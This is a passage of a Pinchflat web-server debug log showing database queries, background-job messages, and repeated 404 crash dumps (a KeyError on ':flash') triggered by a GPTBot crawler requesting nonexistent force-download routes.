Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "755571a6-37b5-492e-bf09-cd1c4400778c"} Pipelines: [:maybe_basic_auth] 16:03:46.402 [debug] QUERY OK source="media_items" db=0.3ms idle=829.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["755571a6-37b5-492e-bf09-cd1c4400778c"] 16:03:46.402 [info] Sent 200 in 637µs 16:03:57.111 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:59.230 [info] GET /sources/3/media/6496/force_download 16:03:59.231 [debug] QUERY OK source="settings" db=0.3ms idle=1290.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:03:59.231 [debug] QUERY OK source="settings" db=0.1ms idle=1291.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:03:59.231 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:03:59.231 [error] #PID<0.10616.0> running PinchflatWeb.Endpoint (connection #PID<0.10615.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6496/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6496/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6496/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6496", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10616.0>, params: %{}, path_info: ["sources", "3", "media", "6496", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6496"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6496/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFUHe3cz3zPBEAA8yB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6496/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6496", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6496/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6496/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6496", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10616.0>, params: %{}, path_info: ["sources", "3", "media", "6496", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 16:04:00.710 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:04:27.112 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:57.113 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:59.236 [info] GET /sources/1/media/6110/force_download 16:04:59.237 [debug] QUERY OK source="settings" db=0.1ms idle=297.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:04:59.237 [debug] QUERY OK source="settings" db=0.1ms idle=297.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:04:59.237 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:04:59.237 [error] #PID<0.10623.0> running PinchflatWeb.Endpoint (connection #PID<0.10622.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/6110/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6110/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6110/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39466}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6110", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10623.0>, params: %{}, path_info: ["sources", "1", "media", "6110", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/6110"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/6110/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFXnBc6pZ_BSMAA81B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6110/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39466}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6110", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6110/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6110/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39466}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6110", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10623.0>, params: %{}, path_info: ["sources", "1", "media", "6110", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 16:05:00.710 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:05:27.114 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:57.115 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:58.945 [info] GET /api/v1/videos 16:05:58.945 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:05:58.967 [debug] QUERY OK source="media_items" db=22.1ms idle=701.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:05:59.023 [info] Sent 200 in 77ms 16:05:59.177 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 16:05:59.177 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:05:59.177 [debug] QUERY OK source="media_items" db=0.1ms idle=237.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:05:59.201 [info] Sent 200 in 23ms 16:06:00.582 [info] GET /sources/2/media/6111/force_download 16:06:00.582 [debug] QUERY OK source="settings" db=0.1ms idle=1642.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:00.582 [debug] QUERY OK source="settings" db=0.0ms idle=1614.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:00.582 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:06:00.582 [error] #PID<0.10633.0> running PinchflatWeb.Endpoint (connection #PID<0.10632.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6111/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6111/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10632.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6111/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 52860}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6111", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10633.0>, params: %{}, path_info: ["sources", "2", "media", "6111", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6111"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6111/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFbLjWmjXHnl8AA86B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10632.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6111/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 52860}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6111", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6111/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10632.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6111/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 52860}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6111", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10633.0>, params: %{}, path_info: ["sources", "2", "media", "6111", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 16:06:00.711 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:06:27.116 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:57.117 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.713 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:07:05.830 [info] GET /sources/1/media/12 16:07:05.830 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12", "source_id" => "1"} Pipelines: [:browser] 16:07:05.830 [debug] QUERY OK source="media_items" db=0.1ms idle=1890.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 16:07:05.830 [debug] QUERY OK source="tasks" db=0.0ms idle=1520.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12] 16:07:05.830 [debug] QUERY OK source="sources" db=0.1ms idle=890.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:07:05.830 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=891.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [18] 16:07:05.831 [debug] QUERY OK source="settings" db=0.0ms idle=519.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:05.831 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:05.831 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", 